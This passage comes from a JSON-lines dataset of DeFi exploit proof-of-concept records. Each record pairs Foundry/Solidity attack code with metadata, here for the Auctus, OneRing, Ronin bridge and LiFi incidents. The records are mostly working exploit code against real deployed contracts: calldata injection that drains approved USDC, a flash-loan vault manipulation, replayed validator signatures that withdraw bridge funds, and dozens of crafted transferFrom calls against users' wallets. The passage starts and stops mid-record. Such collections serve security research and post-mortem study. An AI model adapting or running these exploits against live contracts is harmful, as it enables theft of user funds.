}\n\n function balanceOf(\n address account\n ) public view returns (uint256) {\n return 1;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n return true;\n }\n\n function strikeAsset() public view returns (address) {\n return address(this);\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n return true;\n }\n}\n\ncontract ContractTest is Test, MockACOToken {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IACOWriter acowrite = IACOWriter(payable(0xE7597F774fD0a15A617894dc39d45A28B97AFa4f));\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_460_635); // fork mainnet at block 14460635\n }\n\n function test() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n acowrite.write{value: 1}(\n address(this),\n 1,\n address(usdc),\n abi.encodeWithSelector(\n bytes4(keccak256(bytes(\"transferFrom(address,address,uint256)\"))),\n 0xCB32033c498b54818e58270F341e5f6a3bce993B,\n msg.sender,\n usdc.balanceOf(0xCB32033c498b54818e58270F341e5f6a3bce993B)\n )\n );\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n }\n}\n", "type": "exploit_poc", "protocol": "Auctus", "date": "2022-03", "file_name": "Auctus_exp.sol", "attack_vector": null, "content_hash": "b321d224e7ce60b7", "collected_at": "2026-01-07T10:59:16.539042", "_source": "postmortems", "chain": "unknown", "block_number": 14460635, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n acowrite.write{value: 1}(\n address(this),\n 1,\n address(usdc),\n abi.encodeWithSelector(\n bytes4(keccak256(bytes(\"transferFrom(address,address,uint256)\"))),\n 0xCB32033c498b54818e58270F341e5f6a3bce993B,\n msg.sender,\n usdc.balanceOf(0xCB32033c498b54818e58270F341e5f6a3bce993B)\n )\n );\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.95, "quality_estimate": "low", "title": "Auctus Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IUniswapV2Pair pair = IUniswapV2Pair(0xbcab7d083Cf6a01e0DdA9ed7F8a02b47d125e682);\n IERC20 usdc = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);\n IOneRingVault vault = IOneRingVault(0x4e332D616b5bA1eDFd87c899E534D996c336a2FC);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"fantom\", 34_041_499); //fork fantom at block 34041499\n }\n\n function testExploit() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n pair.swap(80_000_000 * 1e6, 0, address(this), new bytes(1));\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n }\n\n function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n usdc.approve(address(vault), type(uint256).max);\n vault.depositSafe(amount0, address(usdc), 1);\n vault.withdraw(vault.balanceOf(address(this)), address(usdc));\n usdc.transfer(msg.sender, (amount0 / 9999 * 10_000) + 10_000);\n usdc.transfer(tx.origin, usdc.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "OneRing", "date": "2022-03", "file_name": "OneRing_exp.sol", "attack_vector": null, "content_hash": "b3464cb31adb7042", "collected_at": "2026-01-07T10:59:16.539080", "_source": "postmortems", "chain": "unknown", "block_number": 34041499, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n pair.swap(80_000_000 * 1e6, 0, address(this), new bytes(1));\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.67, "quality_estimate": "low", "title": "OneRing Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IRoninBridge {\n function withdrawERC20For(\n uint256 _withdrawalId,\n address _user,\n address _token,\n uint256 _amount,\n bytes memory _signatures\n ) external;\n}\n\ncontract ContractTest is Test {\n address attacker = 0x098B716B8Aaf21512996dC57EB0615e2383E2f96;\n address roninBridge = 0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2;\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_442_834); //fork mainnet at 14442834\n }\n\n function testExploit() public {\n cheats.startPrank(attacker);\n\n IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42\n _withdrawalId: 2_000_000,\n _user: attacker,\n _token: WETH,\n _amount: 173_600_000_000_000_000_000_000,\n _signatures: hex\"01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c\"\n });\n\n IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42\n _withdrawalId: 2_000_001,\n _user: attacker,\n _token: USDC,\n _amount: 25_500_000_000_000,\n _signatures: hex\"016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b\"\n });\n\n // gasless transaction:\n // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059 }\n }\n}\n", "type": "exploit_poc", "protocol": "Ronin", "date": "2022-03", "file_name": "Ronin_exp.sol", "attack_vector": null, "content_hash": "a8e08ce9b320a71b", "collected_at": "2026-01-07T10:59:16.539122", "_source": "postmortems", "chain": "unknown", "block_number": 14442834, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.startPrank(attacker);\n\n IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42\n _withdrawalId: 2_000_000,\n _user: attacker,\n _token: WETH,\n _amount: 173_600_000_000_000_000_000_000,\n _signatures: hex\"01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c\"\n });\n\n IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42\n _withdrawalId: 2_000_001,\n _user: attacker,\n _token: USDC,\n _amount: 25_500_000_000_000,\n _signatures: hex\"016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b\"\n });\n\n // gasless transaction:\n // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059 }\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.48, "quality_estimate": "low", "title": "Ronin Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface ILIFI {\n struct LiFiData {\n bytes32 transactionId;\n string integrator;\n address referrer;\n address sendingAssetId;\n address receivingAssetId;\n address receiver;\n uint256 destinationChainId;\n uint256 amount;\n }\n\n struct SwapData {\n address callTo;\n address approveTo;\n address sendingAssetId;\n address receivingAssetId;\n uint256 fromAmount;\n bytes callData;\n }\n\n struct CBridgeData {\n address receiver;\n address token;\n uint256 amount;\n uint64 dstChainId;\n uint64 nonce;\n uint32 maxSlippage;\n }\n\n function swapAndStartBridgeTokensViaCBridge(\n LiFiData memory _liFiData,\n SwapData[] calldata _swapData,\n CBridgeData memory _cBridgeData\n ) external payable;\n}\n\ncontract ContractTest is Test {\n address from = address(0xC6f2bDE06967E04caAf4bF4E43717c3342680d76);\n address lifi = address(0x5A9Fd7c39a6C488E715437D7b1f3C823d5596eD1);\n address exploiter = address(0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_420_686); //fork mainnet at block 14420686\n }\n\n function testExploit() public {\n cheats.startPrank(from);\n\n // The Vulnerability\n // The hack took advantage of our pre-bridge swap feature. Our smart contract allows a caller to pass an array of multiple swaps using any address with arbitrary calldata.\n\n // This design gave us maximum flexibility in what DEXs we could call and what methods we could call. This also allowed anyone to call other contracts, not just DEXs. Our contract checks to make sure that the result of the swap or swaps is enough tokens to continue the bridging operation.\n\n // The attacker started by passing a legitimate swap of a small amount followed by multiple calls directly to various token contracts. Specifically, they called the `transferFrom` method which allowed the attacker to transfer funds from users\u2019 wallets that had previously given infinite approval to our contract for that specific token.\n ILIFI.LiFiData memory _lifiData = ILIFI.LiFiData({\n transactionId: 0x1438ff9dd1cf9c70002c3b3cbec9c4c1b3f9eb02e29bcac90289ab3ba360e605,\n integrator: \"li.finance\",\n referrer: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n receiver: 0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E,\n destinationChainId: 42_161,\n amount: 50_000_000\n });\n ILIFI.SwapData[] memory _swapData = new ILIFI.SwapData[](38);\n _swapData[0] = ILIFI.SwapData({\n approveTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,\n callData: hex\"d9627aa400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000000000000000000000000000000000000002625a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\",\n // sellToUniswap(address[],uint256,uint256,bool)\n // {\n // \"tokens\":[\n // 0:\"0xdac17f958d2ee523a2206206994597c13d831ec7\"\n // 1:\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"\n // ]\n // \"sellAmount\":\"50000000\"\n // \"minBuyAmount\":\"40000000\"\n // \"isSushi\":false\n // }\n callTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,\n fromAmount: 50_000_000,\n receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7 // fromAssetId\n // if (!LibAsset.isNativeAsset(fromAssetId) && LibAsset.getOwnBalance(fromAssetId) < fromAmount) {\n // LibAsset.transferFromERC20(_swapData.sendingAssetId, msg.sender, address(this), fromAmount);\n // }\n });\n\n // if (!LibAsset.isNativeAsset(fromAssetId)) {\n // LibAsset.approveERC20(IERC20(fromAssetId), _swapData.approveTo, fromAmount);\n // }\n\n // // solhint-disable-next-line avoid-low-level-calls\n // (bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData);\n\n _swapData[1] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000445c21166a3cb20b14fa84cfc5d122f6bd3ffa17000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000a4a88a24badca2e52e\", // transferFrom(address,address,uint256)\n callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[2] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000009b36f2bc04cd5b8a38715664263a3b3b856bc1cf000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000005d38a3a4feb066cdb\",\n callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[3] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000005a7517b2a3a390aaec27d24b1621d0b9d7898dd4000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000026e91d77e24f35800\",\n callTo: 0xB4EFd85c19999D84251304bDA99E90B92300Bd93,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[4] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000009241f27daffd0bb1df4f2a022584dd6c77843e64000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000d1b335f4a843b00\",\n callTo: 0x6810e776880C02933D47DB1b9fc05908e5386b96,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[5] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000008de133a0859b847623c282b4dc5e18de5dbfd7d1000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000002a3c4547b2\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[6] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000009241f27daffd0bb1df4f2a022584dd6c77843e64000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000001c15d7994f\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[7] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000d92b2a99da006e72b48a14e4c23766e22b4ce395000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000002540be400\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[8] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000ffd2a8f4275e76288d31dbb756ce0e6065a3d766000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000010ad40bb4\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[9] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000007c89a5373312f9a02dd5c5834b4f2e3e6ce1cd96000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000c13102d87\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[10] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000005b9e4d0dd21f4e071729a9eb522a2366abed149a000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000016e1996e\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[11] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000684abeba554fdb4a5dae32d652f198e25b64dc6e000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000000000000\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[12] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000015697225d98885a4b007381ccf0006270d851a35000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000013e81d656f96060f4\",\n callTo: 0x72e364F2ABdC788b7E918bc238B21f109Cd634D7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[13] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000dffd8bbf8dcaf236c4e009ff6013bfc98407b6c0000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003b9aca00\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[14] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000002182e4f2034bf5451f168d0643b2083150ab7931000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002341895c\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[15] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000195b8b9598904b55e9770492bd697529492034a2000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003d7ffdf1\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[16] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000005b7ab4b4b4768923cddef657084223528c807963000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002e28786b\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[17] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000080e7ed83354833aa7b87988f7e0426cffe238a83000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003ba2ff5a\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[18] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000000586fcc2d0d400596ff326f30debaa3a79e33c25000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000000000000\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[19] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000cc77df7e9959c60e7ec427367e1ae6e2720d6735000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000012f226a2a\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[20] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000045372cce828e185bfb008942cfe42a4c5cc76a75000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000000b01afa3\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[21] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000014b2af25e47f590a145aad5be781687ca20edd97000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000005c486b90\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[22] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000003942ae3782fbd658cc19a8db602d937baf7cb57a000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000122ddf27c\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[23] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000461e76a4fe9f27605d4097a646837c32f1ccc31c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000039021c46d\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[24] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000000dacfd769bc30e4f64805761707573cb710552c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000000b3ee10b4\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[25] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000e5aedd6520c4d4e0cb4ee78784a0187d34d55adc000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002f033358\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[26] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000574a782a00dd152d98ff85104f723575d870698e000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000025fdc6ab6c\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[27] = ILIFI.SwapData({\n 